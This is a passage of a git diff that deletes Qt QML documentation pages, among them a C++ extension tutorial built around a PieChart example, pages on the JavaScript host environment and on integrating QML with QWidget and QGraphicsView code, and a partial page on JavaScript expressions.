doc/src/snippets/qml/dynamicObjects-destroy.qml 0 -\li \snippet doc/src/snippets/qml/SelfDestroyingRect.qml 0 - -\endtable - -Alternatively, the \c application.qml could have destroyed the created object -by calling \c object.destroy(). - -Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the -instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame -(unless you specified a non-zero delay). - -Note also that if a \c SelfDestroyingRect instance was created statically like this: - -\qml -Item { - SelfDestroyingRect { - // ... - } -} -\endqml - -This would result in an error, since items can only be dynamically -destroyed if they were dynamically created. - -Objects created with \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} -can similarly be destroyed using \c destroy(): - -\snippet doc/src/snippets/qml/createQmlObject.qml 0 -\snippet doc/src/snippets/qml/createQmlObject.qml destroy -*/ diff --git a/doc/src/qml/extending-tutorial.qdoc b/doc/src/qml/extending-tutorial.qdoc deleted file mode 100644 index b5958d9..0000000 --- a/doc/src/qml/extending-tutorial.qdoc +++ /dev/null @@ -1,498 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-extending-tutorial-index.html tutorial -\title Writing QML Extensions with C++ -\brief tutorial about extending QML with Qt C++ - -The Qt Declarative module provides a set of APIs for extending QML through -C++ extensions. You can write extensions to add your own QML types, extend existing -Qt types, or call C/C++ functions that are not accessible from ordinary QML code. - -This tutorial shows how to write a QML extension using C++ that includes -core QML features, including properties, signals and bindings. It also shows how -extensions can be deployed through plugins. - -You can find the source code for this tutorial in \c Qt's -examples/declarative/tutorials/extending directory. - -Tutorial chapters: - -\list 1 -\li \l{declarative/tutorials/extending/chapter1-basics}{Creating a New Type} -\li \l{declarative/tutorials/extending/chapter2-methods}{Connecting to C++ Methods and Signals} -\li \l{declarative/tutorials/extending/chapter3-bindings}{Property Binding} -\li \l{declarative/tutorials/extending/chapter4-customPropertyTypes}{Using Custom Property Types} -\li \l{declarative/tutorials/extending/chapter5-listproperties}{Using List Property Types} -\li \l{declarative/tutorials/extending/chapter6-plugins}{Writing an Extension Plugin} -\li \l{qml-extending-tutorial7.html}{In Summary} -\endlist - -*/ - -/*! -\title Chapter 1: Creating a New Type - -\example declarative/tutorials/extending/chapter1-basics - -A common task when extending QML is to provide a new QML type that supports some - custom functionality beyond what is provided by the built-in \l {QML Elements}. -For example, this could be done to implement particular data models, or provide -elements with custom painting and drawing capabilities, or access system features -like network programming that are not accessible through built-in QML features. - -In this tutorial, we will show how to use the C++ classes in the Qt Declarative -module to extend QML. The end result will be a simple Pie Chart display implemented by -several custom QML types connected together through QML features like bindings and -signals, and made available to the QML runtime through a plugin. - -To begin with, let's create a new QML type called "PieChart" that has two properties: a name -and a color. We will make it available in a \l {Modules}{module} called "Charts", with -a module version of 1.0. - -We want this \c PieChart type to be usable from QML like this: - -\code - import Charts 1.0 - - PieChart { - width: 100; height: 100 - name: "A simple pie chart" - color: "red" - } -\endcode - -To do this, we need a C++ class that encapsulates this \c PieChart type and its two -properties. Since QML makes extensive use of Qt's \l{Meta-Object System}{meta object system}, -this new class must: - -\list -\li Inherit from QObject -\li Declare its properties using the Q_PROPERTY macro -\endlist - -Here is our \c PieChart class, defined in \c piechart.h: - -\snippet declarative/tutorials/extending/chapter1-basics/piechart.h 0 - -The class inherits from QQuickItem because we want to override -QQuickItem::paint() in order to draw. If the class just represented some -data type and was not an item that actually needed to be displayed, it could simply inherit -from QObject. Or, if we want to extend the functionality of an existing QObject-based -class, it could inherit from that class instead. - -The \c PieChart class defines the two properties, \c name and \c color, with the Q_PROPERTY macro, -and overrides QQuickItem::paint(). The class implementation in \c piechart.cpp -simply sets and returns the \c m_name and \c m_color values as appropriate, and -implements \c paint() to draw a simple pie chart. It also turns off the -QGraphicsItem::ItemHasNoContents flag to enable painting: - -\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 0 -\dots 0 -\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 1 - -Now that we have defined the \c PieChart type, we will use it from QML. The \c app.qml -file creates a \c PieChart item and display the pie chart's details -using a standard QML \l Text item: - -\snippet declarative/tutorials/extending/chapter1-basics/app.qml 0 - -Notice that although the color is specified as a string in QML, it is automatically -converted to a QColor object for the PieChart \c color property. Automatic conversions are -provided for various other \l {QML Basic Types}{basic types}; for example, a string -like "640x480" can be automatically converted to a QSize value. - -We'll also create a C++ application that uses a QQuickView to run and -display \c app.qml. The application must register the \c PieChart type -using the qmlRegisterType() function, to allow it to be used from QML. If -you don't register the type, \c app.qml won't be able to create a \c PieChart. - -Here is the application \c main.cpp: - -\snippet declarative/tutorials/extending/chapter1-basics/main.cpp 0 - -This call to qmlRegisterType() registers the \c PieChart type as a type called "PieChart", in a module named "Charts", -with a module version of 1.0. - -Lastly, we write a \c .pro project file that includes the files and the \c declarative library: - -\quotefile declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro - -Now we can build and run the application: - -\image extending-tutorial-chapter1.png - -Try it yourself with the code in Qt's \c examples/tutorials/extending/chapter1-basics directory. - -At the moment, the \c app.qml is run from within a C++ application. -This may seem odd if you're used to running QML files with the \l {QML Viewer}. -Later on, we'll show how to create a plugin so that you can run \c app.qml using the -\l {QML Viewer} instead. - -*/ - - -/*! -\title Chapter 2: Connecting to C++ Methods and Signals - -\example declarative/tutorials/extending/chapter2-methods - -Suppose we want \c PieChart to have a "clearChart()" method that erases the -chart and then emits a "chartCleared" signal. Our \c app.qml would be able -to call \c clearChart() and receive \c chartCleared() signals like this: - -\snippet declarative/tutorials/extending/chapter2-methods/app.qml 0 - -\image extending-tutorial-chapter2.png - -To do this, we add a \c clearChart() method and a \c chartCleared() signal -to our C++ class: - -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 3 - -The use of Q_INVOKABLE makes the \c clearChart() method available to the -Qt Meta-Object system, and in turn, to QML. Note that it could have -been declared as as a Qt slot instead of using Q_INVOKABLE, as -slots are also callable from QML. Both of these approaches are valid. - -The \c clearChart() method simply changes the color to Qt::transparent, -repaints the chart, then emits the \c chartCleared() signal: - -\snippet declarative/tutorials/extending/chapter2-methods/piechart.cpp 0 - -Now when we run the application and click the window, the pie chart -disappears, and the application outputs: - -\code - The chart has been cleared -\endcode - -Try out the example yourself with the updated code in Qt's \c examples/tutorials/extending/chapter2-methods directory. - -*/ - -/*! -\title Chapter 3: Adding Property Bindings - -\example declarative/tutorials/extending/chapter3-bindings - -Property binding is a powerful feature of QML that allows values of different -elements to be synchronized automatically. It uses signals to notify and update -other elements' values when property values are changed. - -Let's enable property bindings for the \c color property. That means -if we have code like this: - -\snippet declarative/tutorials/extending/chapter3-bindings/app.qml 0 - -\image extending-tutorial-chapter3.png - -The "color: chartA.color" statement binds the \c color value of -\c chartB to the \c color of \c chartA. -Whenever \c chartA's \c color value changes, \c chartB's \c color value -updates to the same value. When the window is clicked, the \c onClicked -handler in the MouseArea changes the color of \c chartA, thereby changing -both charts to the color blue. - -It's easy to enable property binding for the \c color property. -We add a \l{Qt's Property System}{NOTIFY} feature to its Q_PROPERTY() declaration to indicate that a "colorChanged" signal -is emitted whenever the value changes. - -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 3 - -Then, we emit this signal in \c setPieSlice(): - -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.cpp 0 - -It's important for \c setColor() to check that the color value has actually changed -before emitting \c colorChanged(). This ensures the signal is not emitted unnecessarily and -also prevents loops when other elements respond to the value change. - -The use of bindings is essential to QML. You should always add NOTIFY -signals for properties if they are able to be implemented, so that your -properties can be used in bindings. Properties that cannot be bound cannot be -automatically updated and cannot be used as flexibly in QML. Also, since -bindings are invoked so often and relied upon in QML usage, users of your -custom QML types may see unexpected behavior if bindings are not implemented. - -*/ - -/*! -\title Chapter 4: Using Custom Property Types - -\example declarative/tutorials/extending/chapter4-customPropertyTypes - -The \c PieChart type currently has a string-type property and a color-type property. -It could have many other types of properties. For example, it could have an -int-type property to store an identifier for each chart: - -\code - // C++ - class PieChart : public QQuickItem - { - Q_PROPERTY(int chartId READ chartId WRITE setChartId NOTIFY chartIdChanged) - ... - - public: - void setChartId(int chartId); - int chartId() const; - ... - - signals: - void chartIdChanged(); - }; - - // QML - PieChart { - ... - chartId: 100 - } -\endcode - -We can also use various other property types. QML has built-in support for the types -listed in the \l{QML Basic Types} documentation, which includes the following: - -\list -\li bool, unsigned int, int, float, double, qreal -\li QString, QUrl, QColor -\li QDate, QTime, QDateTime -\li QPoint, QPointF, QSize, QSizeF, QRect, QRectF -\li QVariant -\endlist - -If we want to create a property whose type is not supported by QML by default, -we need to register the type with QML. - -For example, let's replace the use of the \c property with a type called -"PieSlice" that has a \c color property. Instead of assigning a color, -we assign an \c PieSlice value which itself contains a \c color: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml 0 - -Like \c PieChart, this new \c PieSlice type inherits from QQuickItem and declares -its properties with Q_PROPERTY(): - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h 0 - -To use it in \c PieChart, we modify the \c color property declaration -and associated method signatures: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 3 - -There is one thing to be aware of when implementing \c setPieSlice(). The \c PieSlice -is a visual item, so it must be set as a child of the \c PieChart using -QQuickItem::setParentItem() so that the \c PieChart knows to paint this child -item when its contents are drawn: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp 0 - - -Like the \c PieChart type, the \c PieSlice type has to be registered -using qmlRegisterType() to be used from QML. As with \c PieChart, we'll add the -type to the "Charts" module, version 1.0: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 0 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 1 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 2 - -Try it out with the code in Qt's \c examples/tutorials/extending/chapter4-customPropertyTypes directory. - -*/ - - -/*! -\title Chapter 5: Using List Property Types - -\example declarative/tutorials/extending/chapter5-listproperties - -Right now, a \c PieChart can only have one \c PieSlice. Ideally a chart would -have multiple slices, with different colors and sizes. To do this, we could -have a \c slices property that accepts a list of \c PieSlice items: - -\snippet declarative/tutorials/extending/chapter5-listproperties/app.qml 0 - -\image extending-tutorial-chapter5.png - -To do this, we replace the \c pieSlice property in \c PieChart with a \c slices property, -declared as a QQmlListProperty type. The QQmlListProperty class enables the -creation of list properties in QML extensions. We replace the \c pieSlice() -function with a \c slices() function that returns a list of slices, and add -an internal \c append_slice() function (discussed below). We also use a QList to -store the internal list of slices as \c m_slices: - -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 2 - -Although the \c slices property does not have an associated \c WRITE function, -it is still modifiable because of the way QQmlListProperty works. -In the \c PieChart implementation, we implement \c PieChart::slices() to -return a QQmlListProperty value and indicate that the internal -\c PieChart::append_slice() function is to be called whenever a request is made from QML -to add items to the list: - -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.cpp 0 - -The \c append_slice() function simply sets the parent item as before, -and adds the new item to the \c m_slices list. As you can see, the append function for a -QQmlListProperty is called with two arguments: the list property, and -the item that is to be appended. - -The \c PieSlice class has also been modified to include \c fromAngle and \c angleSpan -properties and to draw the slice according to these values. This is a straightforward -modification if you have read the previous pages in this tutorial, so the code is not shown here. - -The complete code can be seen in the updated \c examples/tutorials/extending/chapter5-listproperties directory. - -*/ - - -/*! -\title Chapter 6: Writing an Extension Plugin - -\example declarative/tutorials/extending/chapter6-plugins - -Currently the \c PieChart and \c PieSlice types are used by \c app.qml, -which is displayed using a QQuickView in a C++ application. An alternative -way to use our QML extension is to create a plugin library to make it available -to the QML engine. This allows \c app.qml to be loaded with the \l {QML Viewer} -(or some other QML \l{Qt Declarative UI Runtime}{runtime} application) instead of writing a \c main.cpp file and -loading our own C++ application. - -To create a plugin library, we need: - -\list -\li A plugin class that registers our QML types -\li A project file that describes the plugin -\li A \l{Writing a qmldir file}{qmldir} file that tells the QML engine to load the plugin -\endlist - -First, we create a plugin class named \c ChartsPlugin. It subclasses QQmlExtensionPlugin -and registers our QML types in the inherited \l{QQmlExtensionPlugin::}{registerTypes()} method. It also calls -Q_EXPORT_PLUGIN2 for Qt's \l{How to Create Qt Plugins}{plugin system}. - -Here is the \c ChartsPlugin definition in \c chartsplugin.h: - -\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.h 0 - -And its implementation in \c chartsplugin.cpp: - -\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp 0 - -Then, we write a \c .pro project file that defines the project as a plugin library -and specifies with DESTDIR that library files should be built into a "lib" subdirectory: - -\quotefile declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro - -Finally, we add a \l{Writing a qmldir file}{qmldir} file that is automatically parsed by the QML engine. -In this file, we specify that a plugin named "chapter6-plugin" (the name -of the example project) can be found in the "lib" subdirectory: - -\quotefile declarative/tutorials/extending/chapter6-plugins/qmldir - -Now we have a plugin, and instead of having a main.cpp and an executable, we can build -the project and then load the QML file in the \l {QML Viewer}: - -\code - qmlviewer app.qml -\endcode - -(On Mac OS X, you can launch the "QMLViewer" application instead.) - -Notice the "import Charts 1.0" statement has disappeared from \c app.qml. This is -because the \c qmldir file is in the same directory as \c app.qml: this is equivalent to -having PieChart.qml and PieSlice.qml files inside the project directory, which could both -be used by \c app.qml without import statements. -*/ - - -/*! -\page qml-extending-tutorial7.html -\title Chapter 7: In Summary - -In this tutorial, we've shown the basic steps for creating a QML extension: - -\list -\li Define new QML types by subclassing QObject and registering them with qmlRegisterType() -\li Add callable methods using Q_INVOKABLE or Qt slots, and connect to Qt signals with an \c onSignal syntax -\li Add property bindings by defining \l{Qt's Property System}{NOTIFY} signals -\li Define custom property types if the built-in types are not sufficient -\li Define list property types using QQmlListProperty -\li Create a plugin library by defining a Qt plugin and writing a \c qmldir file -\endlist - - -The \l{Extending QML with C++} reference documentation shows -other useful features that can be added to QML extensions. For example, we -could use \l{Default Property}{default properties} to allow -slices to be added without using the \c slices property: - -\code - PieChart { - PieSlice { ... } - PieSlice { ... } - PieSlice { ... } - } -\endcode - -Or randomly add and remove slices from time to time using \l{Property Value Sources}{property value sources}: - -\code - PieChart { - PieSliceRandomizer on slices {} - } -\endcode - - -See the \l{Extending QML with C++} reference documentation -for more information. - -*/ - diff --git a/doc/src/qml/external-resources.qdoc b/doc/src/qml/external-resources.qdoc deleted file mode 100644 index 386992f..0000000 --- a/doc/src/qml/external-resources.qdoc +++ /dev/null @@ -1,35 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \externalpage http://www.ecma-international.org/publications/standards/Ecma-262.htm - \title ECMA-262 - - \externalpage http://www.w3schools.com/jsref/default.asp - \title W3Schools JavaScript Reference -*/ - diff --git a/doc/src/qml/globalobject.qdoc b/doc/src/qml/globalobject.qdoc deleted file mode 100644 index 26a974c..0000000 --- a/doc/src/qml/globalobject.qdoc +++ /dev/null @@ -1,41 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qml-globalobject.html -\title QML Global Object -\brief the global functions included in the QML engine - -The QML engine provides several global objects. These global objects do not -need to be imported and provide basic functions to QML applications. - -\section1 QML Global Object - -Included in the \c{QtQuick 2.0} module is the \l{QmlGlobalQtObject}{Qt object}. -It contains several helpful functions that are available to elements and -components. - -*/ diff --git a/doc/src/qml/hostenvironment.qdoc b/doc/src/qml/hostenvironment.qdoc deleted file mode 100644 index b0d9118..0000000 --- a/doc/src/qml/hostenvironment.qdoc +++ /dev/null @@ -1,92 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlhostenvironment.html -\title QML JavaScript Host Environment - -QML provides a JavaScript host environment tailored to writing QML applications. -This environment is different from the host environment provided by a browser -or a server-side JavaScript environment such as Node.js. For example, QML does -not provide a \c window object or \c{DOM API} as commonly found in a browser environment. - -\section1 Common Base - -Like a browser or server-side JavaScript environment, the QML runtime implements the -\l{ECMA-262}{ECMAScript Language Specification} standard. This provides access to -all of the built-in types and functions defined by the standard, such as Object, Array, and Math. -The QML runtime implements the 5th edition of the standard, which is the same edition commonly -implemented by browsers. - -The standard ECMAScript built-ins are not explicitly documented in the QML documentation. For more -information on their use, please refer to the ECMA-262 5th edition standard or one of the many online -JavaScript reference and tutorial sites, such as the \l{W3Schools JavaScript Reference} (JavaScript Objects -Reference section). Many sites focus on JavaScript in the browser, so in some cases you may need to double -check the specification to determine whether a given function or object is part of standard ECMAScript or -specific to the browser environment. In the case of the W3Schools link above, the \c{JavaScript Objects -Reference} section generally covers the standard, while the \c{Browser Objects Reference} and \c{HTML DOM -Objects Reference} sections are browser specific (and thus not applicable to QML). - -\section1 Host Objects and Functions - -The QML JavaScript host environment implements the following host objects and functions: - -\list -\li The \l{QmlGlobalQtObject}{Qt object}: This object is specific to QML, and provides helper methods - and properties specific to the QML environment. -\li qsTr(), qsTranslate(), qsTrId(), QT_TR_NOOP(), QT_TRANSLATE_NOOP(), and QT_TRID_NOOP() functions: - These functions are specific to QML, and provide \l{Translation}{translation capabilities} to the QML environment. -\li gc() function: This function is specific to QML, and provides a way to manually trigger garbage collection. -\li print() function: This function is specific to QML, and provides a simple way to output information to the console. -\li The \l{Console API}{console object}: This object implements a subset of the \l{http://getfirebug.com/wiki/index.php/Console_API}{FireBug Console API}. -\li \l{XMLHttpRequest}, DOMException: These objects implement a subset of the \l{http://www.w3.org/TR/XMLHttpRequest/}{W3C XMLHttpRequest specification}. -\endlist - -See \l{QML Global Object} for more details on these host objects and functions. - -\section1 Native Object Modification - -QML makes the following modifications to native objects: - -\list -\li An arg() function is added to the String prototype. -\li Locale-aware coversion functions are added to the \l{Date} and \l{Number} prototypes. -\endlist - -\section1 Restrictions - -QML implements the following restrictions for JavaScript code: - -\list -\li JavaScript code cannot modify the global object. -\li Global code is run in a reduced scope. -\li The value of \c this is undefined in QML in the majority of contexts. -\endlist - -See \l {QML JavaScript Restrictions} for more details on these restrictions. - -*/ diff --git a/doc/src/qml/integrating.qdoc b/doc/src/qml/integrating.qdoc deleted file mode 100644 index 83dcaea..0000000 --- a/doc/src/qml/integrating.qdoc +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-integration.html -\ingroup qml-features -\title Integrating QML Code with Existing Qt UI Code -\brief applications with QML and Qt code - -There are a number of ways to integrate QML into QWidget-based UI applications, -depending on the characteristics of your existing UI code. - - -\section1 Integrating with a \l{QWidget}-based UI - -If you have an existing QWidget-based UI, QML widgets can be integrated into -it using QQuickView. QQuickView is a subclass of QWidget so you -can add it to your user interface like any other QWidget. Use -QQuickView::setSource() to load a QML file into the view, then add the -view to your UI: - -\code -QQuickView *qmlView = new QQuickView; -qmlView->setSource(QUrl::fromLocalFile("myqml.qml")); - -QWidget *widget = myExistingWidget(); -QVBoxLayout *layout = new QVBoxLayout(widget); -layout->addWidget(qmlView); -\endcode - -The one drawback to this approach is that QQuickView is slower to initialize -and uses more memory than a QWidget, and creating large numbers of QQuickView -objects may lead to performance degradation. If this is the case, it may be -better to rewrite your widgets in QML, and load the widgets from a main QML widget -instead of using QQuickView. - -Keep in mind that QWidgets were designed for a different type of user interface -than QML, so it is not always a good idea to port a QWidget-based application to -QML. QWidgets are a better choice if your UI is comprised of a small number of -complex and static elements, and QML is a better choice if your UI is comprised of a large number -of simple and dynamic elements. - - -\section1 Integrating with a QGraphicsView-based UI - -\section2 Adding QML widgets to a QGraphicsScene - -If you have an existing UI based on the \l{Graphics View Framework}, -you can integrate QML widgets directly into your QGraphicsScene. Use -QQmlComponent to create a QGraphicsObject from a QML file, and -place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or -reparent it to an item already in the \l{QGraphicsScene}. - -For example: - -\code -QGraphicsScene* scene = myExistingGraphicsScene(); -QQmlEngine *engine = new QQmlEngine; -QQmlComponent component(engine, QUrl::fromLocalFile("myqml.qml")); -QGraphicsObject *object = - qobject_cast(component.create()); -scene->addItem(object); -\endcode - -The following QGraphicsView options are recommended for optimal performance -of QML UIs: - -\list -\li QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState) -\li QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate) -\li QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex) -\endlist - -\section2 Loading QGraphicsWidget Objects in QML - -An alternative approach is to expose your existing QGraphicsWidget objects to -QML and construct your scene in QML instead. See the \l {declarative-cppextensions-qgraphicslayouts.html}{graphics layouts example} -which shows how to expose Qt's graphics layout classes to QML in order -to use QGraphicsWidget with classes like QGraphicsLinearLayout and QGraphicsGridLayout. - -To expose your existing QGraphicsWidget classes to QML, use \l {qmlRegisterType()}. -See \l{Extending QML with C++} for further information on how to use C++ types -in QML. -*/ diff --git a/doc/src/qml/javascriptblocks.qdoc b/doc/src/qml/javascriptblocks.qdoc deleted file mode 100644 index a898f20..0000000 --- a/doc/src/qml/javascriptblocks.qdoc +++ /dev/null @@ -1,562 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-javascript.html -\ingroup qml-features -\title JavaScript Expressions in QML -\brief adding logic to QML applications with JavaScript - -\code - -This article is a work-in-progress. - -\endcode - -JavaScript adds logic to QML components. Properties can bind -to JavaScript expressions or reside inline in functions or signal handlers. The -\l{The QML Engine}{QML engine} will then interpret the expression to calculate new -property values or to execute a routine. - -The \l{JavaScript Runtime}{JavaScript runtime} can run valid standard -JavaScript constructs such as conditional operators, arrays, variable setting, -loops. In addition to the standard JavaScript properties, the \l {QML Global -Object} includes a number of helper methods that simplify building UIs and -interacting with the QML environment. - -The JavaScript environment provided by QML is stricter than that in a web -browser. In QML you cannot add, or modify, members of the JavaScript global -object. In regular JavaScript, it is possible to do this accidentally by using a -variable without declaring it. In QML this will throw an exception, so all local -variables should be explicitly declared. - - -\section1 Adding Logic - -The \l {QML Elements} provide a declarative way of creating and managing the -interface layout and scene. Binding properties or signal handlers to JavaScript -expressions adds logic to the QML application. - -Suppose that a button represented by a Rectangle element has a MouseArea and a -Text label. The MouseArea will call its \l{MouseArea::}{onPressed} handler when the user presses the defined interactive area. The QML engine will execute the -contents bound to the onPressed and onReleased handlers. Typically, a signal -handler is bound to JavaScript expressions to initiate other events or to simply -assign property values. - -\code -Rectangle { - id: button - width: 200; height: 80; color: "lightsteelblue" - - MouseArea { - id: mousearea - anchors.fill: parent - - onPressed: { - label.text = "I am Pressed!" - } - onReleased: { - label.text = "Click Me!" - } - - } - - Text { - id: label - anchors.centerIn: parent - text: "Press Me!" - } -} -\endcode - -During startup, the QML engine will set up and initialize the property -bindings. The JavaScript conditional operator is a valid property binding. - -\code -Rectangle { - id: colorbutton - width: 200; height: 80; - - color: mousearea.pressed ? "steelblue" : "lightsteelblue" - - MouseArea { - id: mousearea - anchors.fill: parent - } -} -\endcode - -\section2 Inline JavaScript - -Small JavaScript functions can be written inline with other QML declarations. -These inline functions are added as methods to the QML element that contains -them. - -\code -Item { - function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); - } - - MouseArea { - anchors.fill: parent - onClicked: console.log(factorial(10)) - } -} -\endcode - -The factorial function will run whenever the MouseArea detects a clicked signal. - -As methods, inline functions on the root element in a QML component can be -invoked by callers outside the component. If this is not desired, the method -can be added to a non-root element or, preferably, written in an external -JavaScript file. - -\section2 JavaScript files - -Large blocks of JavaScript should be written in separate files. These files -can be imported into QML files using an \c import statement, in the same way -that \l {Modules}{modules} are imported. - -For example, the \c {factorial()} method in the above example for \l {Inline JavaScript} -could be moved into an external file named \c factorial.js, and accessed like this: - -\code -import "factorial.js" as MathFunctions -Item { - MouseArea { - anchors.fill: parent - onClicked: console.log(MathFunctions.factorial(10)) - } -} -\endcode - -For more information about loading external JavaScript files into QML, read -the section about \l{Importing JavaScript into QML}. - -\section1 JavaScript Expressions -The \l{JavaScript Runtime}{JavaScript runtime} run regular JavaScript -expressions as defined by the - -\section2 Variables and Properties - --variables --basic data types --values and assigning --relate to property binding - -\section2 Conditional Loops -- for loops et al. -- conditional operator - -\section2 Data Structures -- arrays -- object -- relate to the content below about valid JS scope, objects, etc. -- more advanced data types such as accessing QML list - -\section2 Functions -- function declaration -- function assignment (return values) -- function parameters -- connecting functions -- importing libraries, functions -- difference between JS functions and signals and QML methods -\section3 Receiving QML Signals in JavaScript - -To receive a QML signal, use the signal's \c connect() method to connect it to a JavaScript -function. - -For example, the following code connects the MouseArea \c clicked signal to the \c jsFunction() -in \c script.js: - -\table -\row -\li \snippet doc/src/snippets/qml/integrating-javascript/connectjs.qml 0 -\li \snippet doc/src/snippets/qml/integrating-javascript/script.js 0 -\endtable - -The \c jsFunction() will now be called whenever MouseArea's \c clicked signal is emitted. - -See \l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} -{Connecting Signals to Methods and Signals} for more information. - -\section2 Advanced Usage -- using JS to access QML scene -- using JS for algorithms - - sorting, reordering lists -- how to modify other QML entities with JS - - - -\section1 Importing JavaScript into QML -Both relative and absolute JavaScript URLs can be imported. In the case of a -relative URL, the location is resolved relative to the location of the -\l {QML Document} that contains the import. If the script file is not accessible, -an error will occur. If the JavaScript needs to be fetched from a network -resource, the component's \l {QQmlComponent::status()}{status} is set to -"Loading" until the script has been downloaded. - -Imported JavaScript files are always qualified using the "as" keyword. The -qualifier for JavaScript files must be unique, so there is always a one-to-one -mapping between qualifiers and JavaScript files. (This also means qualifiers cannot -be named the same as built-in JavaScript objects such as \c Date and \c Math). - -\section2 Importing One JavaScript File From Another - -If a JavaScript file needs to use functions defined inside another JavaScript file, -the other file can be imported using the \l {QML:Qt::include()}{Qt.include()} -function. This imports all functions from the other file into the current file's -namespace. - -For example, the QML code below 